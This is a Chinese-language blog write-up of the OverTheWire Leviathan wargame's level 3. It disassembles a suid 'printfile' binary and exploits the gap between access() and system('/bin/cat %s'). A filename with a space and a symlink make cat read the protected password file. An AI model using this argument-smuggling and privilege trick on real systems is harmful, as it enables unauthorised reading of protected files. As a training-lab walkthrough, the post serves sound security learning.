========================================
OverTheWire Leviathan
========================================
.. post:: 2016-01-01
:tags: CTF
:author: LA
:language: zh_CN
.. hint:: 这是一篇迁移自 Jekyll 的文章,如有格式问题,可到 :ghrepo:`SilverRainZ/bullet` 反馈
地址: `OverTheWire: Leviathan `_.
说实话题目不难,可是从开始做题到做完的时间跨度却有一个多月,人家 rr 却做了一会儿就搞定了,我都在干嘛呢?
完整的笔记在 `这里 `_\ ,
其中有点意思的是 leviathan3,所以特地摘抄出来:
登入机器后发现家目录有个带 `suid` 权限的可执行文件 `printfile`\ ,属主是 `leviathan3`\ ,用户组是 `leviathan2`\ ,带 `suid` 的程序执行时可以获得和 owner/grouper 相同的权限(euid/egid)。
.. code:: text
leviathan2@melinda:~$ ll printfile
-r-sr-x--- 1 leviathan3 leviathan2 7498 Nov 14 2014 printfile*
leviathan2@melinda:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@melinda:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
从字面意思上看,这个程序接受一个文件路径然后把文件的内容显示出来,但是要求它打印 `/etc/leviathan_pass/leviathan3` 却提示 `You cant have that file...`\ ,上 gdb 分析看看。
以下是 `diaasm main` 的结果,假设执行了 `r filename`\ :
.. code:: objdump
0x0804852d <+0>: push %ebp
0x0804852e <+1>: mov %esp,%ebp
0x08048530 <+3>: and $0xfffffff0,%esp
0x08048533 <+6>: sub $0x230,%esp
0x08048539 <+12>: mov 0xc(%ebp),%eax ; argv 参数地址
0x0804853c <+15>: mov %eax,0x1c(%esp) ; argv 保存到 [esp + 0x1c]
0x08048540 <+19>: mov %gs:0x14,%eax ; Thread-Local Storage, 不知道是什么
0x08048546 <+25>: mov %eax,0x22c(%esp)
0x0804854d <+32>: xor %eax,%eax
0x0804854f <+34>: cmpl $0x1,0x8(%ebp) ; argc 和 1 比较,此处 argc 应该为 2
0x08048553 <+38>: jg 0x804857e ; / argc > 1 则跳
0x08048555 <+40>: movl $0x8048690,(%esp)
0x0804855c <+47>: call 0x80483d0
0x08048561 <+52>: mov 0x1c(%esp),%eax
0x08048565 <+56>: mov (%eax),%eax
0x08048567 <+58>: mov %eax,0x4(%esp)
0x0804856b <+62>: movl $0x80486a5,(%esp)
0x08048572 <+69>: call 0x80483b0
0x08048577 <+74>: mov $0xffffffff,%eax
0x0804857c <+79>: jmp 0x80485e8
; -> 来自 0x08048553 <+38> 的跳转,以上代码不必分析了
0x0804857e <+81>: mov 0x1c(%esp),%eax ; 取出储存的 argv
0x08048582 <+85>: add $0x4,%eax ; 移动到 argv 的第一个参数(从 0 计数)
0x08048585 <+88>: mov (%eax),%eax ; 取出 argv[1] 的值,指向字符串 ‘filename’
0x08048587 <+90>: movl $0x4,0x4(%esp) ; 参数二:int amode
0x0804858f <+98>: mov %eax,(%esp) ; | argv[1] 作参数一: char *path
0x08048592 <+101>: call 0x8048420 ; / access(argv[1], 4),成功返回 0
0x08048597 <+106>: test %eax,%eax
0x08048599 <+108>: je 0x80485ae ; 跳
0x0804859b <+110>: movl $0x80486b9,(%esp)
0x080485a2 <+117>: call 0x80483d0
0x080485a7 <+122>: mov $0x1,%eax
0x080485ac <+127>: jmp 0x80485e8
; -> 来自 0x08048599 <+108> 的跳转
0x080485ae <+129>: mov 0x1c(%esp),%eax ; \
0x080485b2 <+133>: add $0x4,%eax ; | 取得 argv[1]
0x080485b5 <+136>: mov (%eax),%eax ; /
0x080485b7 <+138>: mov %eax,0xc(%esp) ; ...: argv[1]
0x080485bb <+142>: movl $0x80486d4,0x8(%esp) ; | char *format: string "/bin/cat %s"
0x080485c3 <+150>: movl $0x1ff,0x4(%esp) ; | size_t size: 511
0x080485cb <+158>: lea 0x2c(%esp),%eax ; |
0x080485cf <+162>: mov %eax,(%esp) ; | char *str
0x080485d2 <+165>: call 0x8048410 ; / snprintf(str, 511, "/bin/cat %s", argv[1]);
0x080485d7 <+170>: lea 0x2c(%esp),%eax
0x080485db <+174>: mov %eax,(%esp) ; \
0x080485de <+177>: call 0x80483e0 ; / system("/bin/cat filename");
0x080485e3 <+182>: mov $0x0,%eax
0x080485e8 <+187>: mov 0x22c(%esp),%edx
0x080485ef <+194>: xor %gs:0x14,%edx
0x080485f6 <+201>: je 0x80485fd
0x080485f8 <+203>: call 0x80483c0 <__stack_chk_fail@plt>
0x080485fd <+208>: leave
0x080485fe <+209>: ret
可以看到程序接受一个文件路径,先检查对该文件的访问权限,然后执行 shell 命令 "/bin/cat filename"。
问题出在 `access` 函数, man 是这样说的:
..
The access() function shall check the file named by the pathname pointed to by the path argument for accessibility according to the bit pattern contained in amode, *using the real user ID in place of the effective user ID and the real group ID in place of the effective group ID.*
而 `suid` 权限改变的只是进程的 `euid`\ ,因此当你执行 `./printfile /etc/leviathan_pass/leviathan3` 的时候,access 函数总是失败的。
但是用 gdb 改变程序的流程也是\ `\ *不可行* `_\ 的,非 root 的 gdb 调试带 suid 权限的程序时,程序不会获得本来应该有的权限(否则 gdb 就可以任意地改变程序的行为了),即使绕过了 access 函数,你依然会得到一个 `Permission denied`\ 。
到这里我就没辙了,只能看别人的 writeup 了:\ `OverTheWire Leviathan Wargame Solution 2 `_\ ,看完发现脑洞确实不够大。
*Solution:*
access() 接受的是个字符串参数,而 cat 的参数却是由 shell 处理的,执行 `./printfile "flag here"`\ ,对于 access 函数来说是执行了 `access("flag here", 4)`\ , 检查对 `flag here` 这个文件的访问权限,而对 cat 来说是这样的 `system("cat flag here")`\ ,因此可以利用这个区别来绕过 access 函数。
.. code:: shell
leviathan2@melinda:/tmp$ mkdir slove
leviathan2@melinda:/tmp$ cd slove
leviathan2@melinda:/tmp/slove$ touch 'flag here' # 带空格的文件名
leviathan2@melinda:/tmp/slove$ ln -s /etc/leviathan_pass/leviathan3 flag
leviathan2@melinda:/tmp/slove$ ls
flag flag here
leviathan2@melinda:/tmp/slove$ ~/printfile 'flag here' # access 检测的是刚刚建立的新文件, cat 显示的则是 flag 和 here
Ahdiemoo1j
/bin/cat: here: No such file or directory
另外发现了一个新工具 ltrace,能够跟踪库函数的调用,就不用像刚才那样分析整个程序了(后面的题目大多数是过一遍 ltrace 就行了):
.. code:: shell
leviathan2@melinda:~$ ltrace ~/printfile /etc/leviathan_pass/leviathan2
__libc_start_main(0x804852d, 2, 0xffffd6f4, 0x8048600
access("/etc/leviathan_pass/leviathan2", 4) = 0
snprintf("/bin/cat /etc/leviathan_pass/lev"..., 511, "/bin/cat %s", "/etc/leviathan_pass/leviathan2") = 39
system("/bin/cat /etc/leviathan_pass/lev"...ougahZi8Ta
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
元旦快乐,希望新的一年不要那么痛苦了。